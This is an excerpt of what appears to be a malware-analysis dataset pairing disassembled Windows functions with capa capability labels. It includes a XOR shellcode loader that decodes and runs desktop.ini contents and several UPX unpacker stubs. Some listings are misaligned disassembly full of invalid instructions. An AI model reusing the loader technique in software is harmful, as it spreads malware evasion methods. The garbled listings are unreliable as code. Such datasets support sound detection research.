joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41363b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004134b1

Function at 0x417a29
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041757c

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x8682a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1d7000]
push edi
or ebp, 0xffffffff
jmp 0x8682c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x8682c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8682b8
mov eax, 1
add ebx, ebx
jne 0x8682db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x8682ec
jne 0x86830b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x86830b
dec eax
add ebx, ebx
jne 0x8682f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x8682d0
add ebx, ebx
jne 0x868307
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x86835d
xor ecx, ecx
sub eax, 3
jb 0x868323
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x868392
sar eax, 1
mov ebp, eax
jmp 0x86832e
add ebx, ebx
jne 0x86832e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8682fc
inc ecx
add ebx, ebx
jne 0x86833c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8682fc
add ebx, ebx
jne 0x868349
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x86833e
jne 0x86835a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x86833e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x86837c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x86836e
jmp 0x8682be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x86837c
add edi, ecx
jmp 0x8682be
pop esi
mov edi, esi
mov ecx, 0x69f9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x86839a
cmp byte [edi], 0xe
jne 0x86839a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x86839f
lea edi, [esi + 0x45f000]
mov eax, dword [edi]
or eax, eax
je 0x868417
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x46cb94]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x46ccd4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x8683cc
mov ecx, edi
jns 0x8683fb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x46ccd8]
or eax, eax
je 0x868411
mov dword [ebx], eax
add ebx, 4
jmp 0x8683e9
call dword [esi + 0x46cce8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x868448
cmp al, 0xef
ja 0x86843b
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x86841d
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x86842a
mov ebp, dword [esi + 0x46ccdc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x86847c
sub esp, 0xffffff80
jmp 0x4af4e0
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rdata
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x74117455
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x48035864
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x412590
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xf000]
push edi
jmp 0x4125aa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4125b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4125a0
mov eax, 1
add ebx, ebx
jne 0x4125c3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4125b8
jne 0x4125d4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4125b8
xor ecx, ecx
sub eax, 3
jb 0x4125e8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41265a
mov ebp, eax
add ebx, ebx
jne 0x4125f3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x412600
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x412624
inc ecx
add ebx, ebx
jne 0x412610
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x412605
jne 0x412621
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x412605
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x412644
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x412635
jmp 0x4125a6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x412644
add edi, ecx
jmp 0x4125a6
pop esi
lea edi, [esi + 0x10000]
mov eax, dword [edi]
or eax, eax
je 0x4126ac
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x12708]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x127c4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x412661
mov ecx, edi
jns 0x412690
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x127cc]
or eax, eax
je 0x4126a6
mov dword [ebx], eax
add ebx, 4
jmp 0x41267e
call dword [esi + 0x127c8]
mov ebp, dword [esi + 0x127d0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4126e0
sub esp, 0xffffff80
jmp 0x403ac6
Function at 0x405730
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor dword [eax + 0xc8b53d8], 0xffffff84
fld qword [edx + 0xfdb12b6]
test cl, bh
add byte [eax], al
add byte [ebx + ecx*4 + 0x6a068bd4], bh
add dword [edx], ebp
mov eax, dword [esi]
push 1
push 0
rol byte [eax], 1
push eax
call 0x340a4b0
cmp eax, 0x14976
je 0x405764
mov dword [esi + 4], 0x7e0039
mov esi, dword [esi + 8]
test esi, esi
jne 0x405748
mov esi, ebx
mov eax, dword [esi + 4]
test eax, eax
je 0x405786
mov edi, dword [edx]
pop esi
add dword [eax], eax
add byte [edi], ch
add byte [ecx], cl
push ecx
mov dword [eax + 4], esi
call fcn.0040a3d0
mov esi, dword [esi + 8]
test esi, esi
jne 0x40576d
test edi, edi
je 0x405806
mov ebx, 0xb71b
push esi
push 0xe86675f8
rcl byte [0xd3e900cc], 8
xor edi, edi
mov bh, 0
add byte [esi + 0x68], dl
clc
jne 0x405801
call 0x10c6d60
jmp 0xff736078
xor dword [edx - 0x64], 0xffffff97
jne 0x4057ce
mov edx, dword [esi]
push 0x4d
push 0
push 0
lodsd eax, dword [esi]
adc eax, 0x4cf7
cmp eax, 0x11176
jne 0x405793
mov edi, 0xb4c101
jmp 0x4057ce
mov ecx, dword [ecx + 8]
push esi
div byte [ebp - 0x30]
dec ecx
or byte [esi - 0xa], dl
jne 0x4057a5
test edi, edi
je 0x405803
mov esi, dword [ebp - 0x31]
test esi, esi
jg 0x4057a5
jl 0x4057ea
dec ebx
sti
rol byte [ebp + ebp + 0x6f], 0x73
movsb byte es:[edi], byte [esi]
push esi
push ebx
call 0xce406d60
push 0
push 2
or byte [ebx - 0x18], dl
inc esp
pop ebp
add byte [eax], cl
mov ebx, eax
mov dword [ebp - 4], edx
jmp 0x4057cf
mov ebx, dword [ebp + 8]
mov esi, ebx
sub al, 0x7e
fild dword [edx]
jne 0x405818
mov ebx, dword [eax]
push 9
push eax
add byte [eax + 0x27000085], bh
daa
jbe 0x405823
test esi, esi
jne 0x405808
mov esi, ebx
mov edx, dword [edi]
add al, 0x85
sal byte [esi + ecx - 0x75], 0xe
push 0xffffffffffffffe3
push 0xffffffffffffffa9
push 0
push ecx
call fcn.0040a43c
mov esi, dword [esi - 0xa]
test esi, esi
jne 0x405821
jge 0x40589e
pop ebx
mov esp, ebp
pop ebp
ret
stc
xor edx, edx
test edi, edi
je 0x4058c7
lea esi, [ebp + 0x35]
or ecx, 0xffffffff
jo 0x40586c
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ebx, 0x12
jge 0x4058bb
mov dword [ebp + ebx*4 - 0x6f], ecx
inc ebx
je 0x40593b
add al, 0x83
invalid
mov eax, dword [ebp + 8]
mov ecx, 0x8e235052
int1
invalid
scasd eax, dword es:[edi]
nop
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 8
mov cx, word [0x40f3c8]
xchg ecx, eax
invalid
Function at 0x407ef0
Capabilities:
Encode data using xor

Disassembly:
push ebp
lahf
in al, dx
sub esp, 0x14
or eax, 0x104f10ac
pop es
jno 0x407f43
adc byte [esi], cl
add byte [eax], al
fld qword [ebp - 0x5d]
fcomp qword [0x40c230]
mov ebx, dword [esi + 0x18]
push ebx
mov ebx, dword [ebp + 0x20]
push esi
xor esi, esi
push edi
and eax, 0x89fc7589
xor esi, esi
les eax, [0xe7afb8b]
fld qword [ebp + 8]
fchs
fstp qword [ebp + 8]
or al, byte [ecx]
add dword [eax], eax
add byte [eax], al
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x24]
lea ebx, [esi]
in al, dx
push eax
invalid
inc eax
add ch, ch
pop ebp
or ch, bl
sbb dword [esi - 0x3dcfe224], eax
inc eax
add byte [ebx - 0x1f20f310], al
test ah, 0x44
jnp 0x407fcd
lea esi, [ebx + 0x44]
cmp esi, ebx
jbe 0x407fba
fld qword [ebp - 0x65]
fcomp qword [0x40c201]
fnstsw ax
div byte [ecx]
inc esp
jnp 0x407fc0
fld qword [ebp - 0x14]
fcomp qword [ebp + 0x10]
add byte [ebx], dh
add byte [ebp - 0x7c5b1312], cl
in al, dx
xchg ecx, eax
fstp qword [esp]
xchg ecx, eax
adc eax, 0x407918
fstp qword [ebp + 0x25]
fld qword [ebp - 0xc]
fadd qword [esi]
or bl, al
inc eax
add byte [ebx - 0x23b1f33c], al
or eax, 0x257700
call 0x8340a56d
mov ebx, dword [ebp + 0x20]
mov cl, 0x30
sub cl, al
mov byte [esi], cl
test eax, 0x3b41414d
out dx, eax
mov dword [ebp - 4], ecx
ja 0x407f62
invalid
mov dl, 0x8a
iretd
fstp qword [ebp - 0x74]
fcomp qword [0xf140c230]
fnstsw ax
and eax, 0xc8004100
jne 0x40801d
fld qword [esi + 0x7f0ddc08]
ret 0x40
mov eax, dword [ebp + 0x10]
lea esi, [eax + ebx]
mov eax, dword [ebp - 0x2b]
mov ebp, 0x30375c0
add eax, dword [ebx]
jne 0x408029
mov ecx, dword [ebp - 0x16]
cmp esi, ebx
jae 0x408047
or al, byte [ebp + 0x10]
pop edi
neg eax
int3
add edx, dword [ebp - 4]
cmp edi, esi
mov dword [ecx], edx
ja 0x40808c
fld qword [ebp + 8]
lea ecx, [esi + 0x73f83b50]
xor ah, bl
or eax, 0xa240c2f8
lea eax, [ebp - 0xc]
mov cl, 0x83
in al, dx
or byte [ebp + 0x15ff241c], cl
inc ebp
rol dword [eax - 1], 0xe6
inc ebp
add esp, 0xc
stosb byte es:[edi], al
add eax, 0x8b000035
dec ebp
adc al, 0x8b
pop ebp
and byte [eax + esi], al
mov byte [edi], al
inc esi
cmp edi, esi
jbe 0x408053
fstp st(0)
lea edx, [ebx + 0x50]
cmp edx, dword [eax - 0x39a0f28e]
inc ebx
dec edi
add byte [ebx - 0x74840b3d], cl
in eax, 0x5d
jmp 0x40802b
Function at 0x4085e0
Capabilities:
Encode data using xor

Disassembly:
jne 0x4085e4
and ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x18]
sub ecx, eax
pop edi
mov dword gs:[eax + 0x5b], ecx
pop ebp
ret
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
push ebx
push esi
dec ebp
adc byte [ebx + 0x56], dl
mov al, byte [ebp + 0x14]
push edi
mov edi, 1
mov esi, dword [ebp + 0x2c]
mov ebx, 0x5340c2e4
shl edi, cl
dec edi
cmp al, 0x58
je 0x4085cb
mov ebx, 0x400b4c
mov edx, dword [edi]
or al, 0x8b
loop 0x408613
test edx, edx
push 0x22
jb 0x408616
cmp eax, 0xfffffffa
cli
ja 0x408631
mov edx, dword [ebp + 0x1c]
dec ecx
mov edx, dword [ebp + 0x18]
push edx
mov edx, dword [ebp + 0x14]
push edx
push ecx
push eax
call fcn.00408590
add esp, 0x14
pop edi
pop esi
pop ebx
pop ebp
ret
mov ecx, eax
dec esi
and ecx, edi
or al, 0x19
pop esi
push cs
mov ecx, dword [ebp + 0x10]
pop esi
mov ebp, 0x8b6a0e32
enter 0xffffffffffffca0b, 0x75
call 0x8b58cbd8
and bl, byte [edx + edi*8]
invalid
Function at 0x40b927
Capabilities:
Get file size
Read file on windows

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
push ebx
xor ebx, ebx
push esi
mov esi, ebx
test eax, eax
je 0x40bacd
cmp word [eax], bx
je 0x40bacd
push ebx
push pe_nt_image_headers32
push 3
push ebx
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 8], eax
cmp eax, 0xffffffff
je 0x40bac9
push ebp
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
test ebp, ebp
jle 0x40babe
push edi
push dword [esp + 0x20]
call fcn.0040d25f
mov edi, eax
test edi, edi
je 0x40babd
cmp dword [esp + 0x20], 0xffffffff
mov ebx, dword [esp + 0x18]
jne 0x40b99d
push 2
jmp 0x40b9a1
push dword [esp + 0x20]
push ebx
call fcn.0040bbfb
mov esi, eax
test esi, esi
je 0x40bab6
cmp ebx, 0xffffffff
jne 0x40b9b8
mov ebx, esi
mov eax, dword [esi + 4]
mov dword [esi + 0x30], ebx
lea ebx, [ebp + 8]
mov dword [esi + 0x38], eax
xor eax, eax
push ebx
push eax
mov dword [esi + 0x2c], edi
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], eax
mov dword [esi + 0x14], eax
push dword [0x521bbc]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi + 0x28], eax
test eax, eax
je 0x40b9f9
mov dword [eax + 4], ebx
mov eax, dword [esi + 0x28]
and dword [eax], 0
mov eax, dword [esi + 0x28]
add eax, 8
mov dword [esi + 0x44], eax
cmp dword [esp + 0x20], 0xffffffff
je 0x40ba07
mov dword [esi + 0x34], 1
push esi
push edi
call fcn.00448d30
pop ecx
pop ecx
xor ebx, ebx
mov ecx, 0x4000
mov dword [esp + 0x20], ecx
test ebp, ebp
jle 0x40bab2
lea eax, [ecx + ebx]
cmp eax, ebp
jle 0x40ba32
mov ecx, ebp
sub ecx, ebx
mov dword [esp + 0x20], ecx
push ecx
push edi
call fcn.004486c0
mov dword [esp + 0x20], eax
pop ecx
pop ecx
test eax, eax
je 0x40baa4
push 0
lea ecx, [esp + 0x20]
push ecx
push dword [esp + 0x28]
push eax
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x1c]
add ebx, eax
cmp dword [esi + 0x14], 0
jne 0x40ba76
push eax
push dword [esp + 0x1c]
call fcn.0040d30a
mov dword [esi + 0x14], eax
mov eax, dword [esp + 0x1c]
cmp ebx, ebp
jl 0x40ba7e
push 1
jmp 0x40ba80
push 0
push eax
push edi
call fcn.00448990
add esp, 0xc
test eax, eax
je 0x40ba98
mov ecx, dword [esp + 0x20]
cmp ebx, ebp
jl 0x40ba23
jmp 0x40bab2
push edi
call fcn.00448970
pop ecx
mov dword [esi + 0x18], eax
jmp 0x40baab
mov dword [esi + 0x18], 1
push edi
push esi
call fcn.0040d3c4
and dword [esi + 0x2c], 0
push edi
call fcn.00448ad0
pop ecx
pop edi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
mov eax, esi
jmp 0x40bacf
xor eax, eax
pop esi
pop ebx
pop ecx
ret 0xc

Function at 0x40ce2b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp + 8]
push edi
push 0
push eax
mov edi, 0x1000
mov eax, edi
sub eax, dword [esi + 4]
push eax
push dword [esi + 0x10]
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, edi
sub eax, dword [esi + 4]
cmp dword [ebp + 8], eax
jne 0x40ce67
mov eax, dword [esi + 0x10]
mov dword [esi], eax
xor eax, eax
mov dword [esi + 4], edi
inc eax
jmp 0x40ce69
xor eax, eax
pop edi
pop esi
pop ebp
ret
Function at 0x40e38f
Capabilities:
Create thread

Disassembly:
push ecx
push ebp
push esi
lea eax, [esp + 8]
xor esi, esi
push eax
push esi
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebp, eax
test ebp, ebp
je 0x40e427
push edi
push 0x522d60
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [0x521df8]
test edi, edi
je 0x40e3fb
push ebx
push esi
lea ebx, [edi + 8]
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x40e3f4
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [edi]
push ebx
push 0x521df8
call fcn.00441bfb
pop ecx
pop ecx
jmp 0x40e3f6
mov edi, dword [edi]
test edi, edi
jne 0x40e3cb
pop ebx
mov eax, dword [0x51f374]
mov esi, eax
inc eax
push 0x10
push 0x521df8
mov dword [0x51f374], eax
call fcn.00441c3b
pop ecx
pop ecx
push 0x522d60
mov dword [eax], ebp
mov dword [eax + 4], esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
mov eax, esi
pop esi
pop ebp
pop ecx
ret 8

Function at 0x411041
Capabilities:
Enumerate gui resources

Disassembly:
cmp dword [esp + 4], 0
push ebx
push esi
push edi
je 0x411096
push dword [esp + 0x10]
push 0x410fc0
call dword [sym.imp.USER32.DLL_EnumWindows]
mov esi, dword [0x521e00]
test esi, esi
je 0x4110ef
xor edi, edi
mov ebx, dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [esi + 8], eax
jne 0x41108e
cmp byte [esi + 0x10], 0
je 0x41108e
push 3
push edi
push edi
push edi
push edi
push 0xfffffffffffffffe
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_SetWindowPos]
mov esi, ebx
test ebx, ebx
jne 0x41106a
jmp 0x4110ef
mov esi, dword [0x521e00]
test esi, esi
je 0x4110ef
xor edi, edi
push ebp
mov ebx, dword [esi]
lea ebp, [esi + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp], eax
jne 0x4110e8
cmp byte [esi + 0x11], 0
je 0x4110c4
push 1
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_EnableWindow]
cmp byte [esi + 0x10], 0
je 0x4110db
push 3
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_SetWindowPos]
push ebp
push 0x521e00
call fcn.00441bfb
pop ecx
pop ecx
mov esi, ebx
test ebx, ebx
jne 0x4110a3
pop ebp
pop edi
pop esi
pop ebx
ret 4
Function at 0x42b3b1
Capabilities:
Accept command line arguments

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
push edi
push dword [0x522d8c]
call fcn.00441330
mov ebp, eax
or ebx, 0xffffffff
xor eax, eax
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, dword [esp + 0x1c]
movzx edx, word [eax]
test dx, dx
je 0x42b4b1
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x10], 0x20
mov dword [esp + 0x14], 0x22
cmp dx, word [esp + 0x10]
jne 0x42b407
push 0x20
pop edx
add eax, 2
cmp word [eax], dx
je 0x42b3ff
movzx edx, word [eax]
mov dword [esp + 0x1c], 1
cmp dx, word [esp + 0x14]
jne 0x42b447
add eax, 2
mov esi, eax
movzx ecx, word [eax]
test cx, cx
je 0x42b489
push 0x22
pop edx
cmp cx, dx
je 0x42b439
add eax, 2
movzx ecx, word [eax]
test cx, cx
jne 0x42b429
xor ecx, ecx
cmp word [eax], cx
je 0x42b489
mov ecx, eax
add eax, 2
jmp 0x42b48b
test dx, dx
je 0x42b491
push 0x20
mov esi, eax
pop ecx
cmp dx, cx
je 0x42b439
add eax, 2
push 0x22
pop edx
cmp word [eax], dx
jne 0x42b47f
add eax, 2
movzx ecx, word [eax]
test cx, cx
je 0x42b489
cmp cx, dx
je 0x42b47c
add eax, 2
movzx ecx, word [eax]
test cx, cx
jne 0x42b46c
push 0x20
pop ecx
movzx edx, word [eax]
test dx, dx
jne 0x42b451
jmp 0x42b439
mov ecx, eax
mov edx, dword [esp + 0x1c]
jmp 0x42b493
xor edx, edx
cmp dword [ebp], ebx
jne 0x42b49c
test edi, edi
jne 0x42b4b9
test edx, edx
je 0x42b4a1
inc ebx
xor edx, edx
mov esi, edx
movzx edx, word [eax]
test dx, dx
jne 0x42b3f5
test edi, edi
jne 0x42b4ca
mov eax, ebx
jmp 0x42b4ce
test esi, esi
je 0x42b4ca
sub ecx, esi
mov eax, esi
sar ecx, 1
mov dword [edi], ecx
inc dword [ebp]
jmp 0x42b4ce
xor ecx, ecx
mov dword [edi], ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
Function at 0x42c30a
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push ebp
push esi
push edi
push dword [0x522dac]
call fcn.00441330
mov edi, dword [eax + 0x24]
test edi, edi
je 0x42c3c8
cmp dword [edi + 8], 1
je 0x42c3c8
mov edi, dword [edi + 0xc]
test edi, edi
je 0x42c3c8
mov al, byte [edi]
cmp al, 0x20
je 0x42c343
cmp al, 9
jne 0x42c346
inc edi
jmp 0x42c339
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor eax, eax
push eax
push eax
push 0xffffffffffffffff
push edi
push eax
push 0xfde9
call esi
push dword [esp + 0x14]
mov ebx, eax
lea ecx, [ebx - 1]
push ecx
call fcn.00442050
push ebx
mov ebp, eax
push ebp
push 0xffffffffffffffff
push edi
push 0
push 0xfde9
call esi
test ebx, ebx
jle 0x42c397
push 9
pop edx
lea eax, [ebp - 2]
lea eax, [eax + ebx*2]
movzx ecx, word [eax]
push 0x20
pop esi
cmp cx, si
je 0x42c3b3
cmp cx, dx
je 0x42c3b3
pop edi
pop esi
pop ebp
pop ebx
ret 4
movzx ecx, word [eax]
cmp cx, si
je 0x42c3ab
cmp cx, dx
jne 0x42c3b7
xor ecx, ecx
mov word [eax], cx
sub eax, 2
cmp eax, ebp
jae 0x42c39e
push ebp
call sub.MSVCRT.dll_wcslen
pop ecx
sub ebx, eax
push ebx
call fcn.00442130
jmp 0x42c397
pop edi
pop esi
pop ebp
pop ebx
jmp fcn.004423d0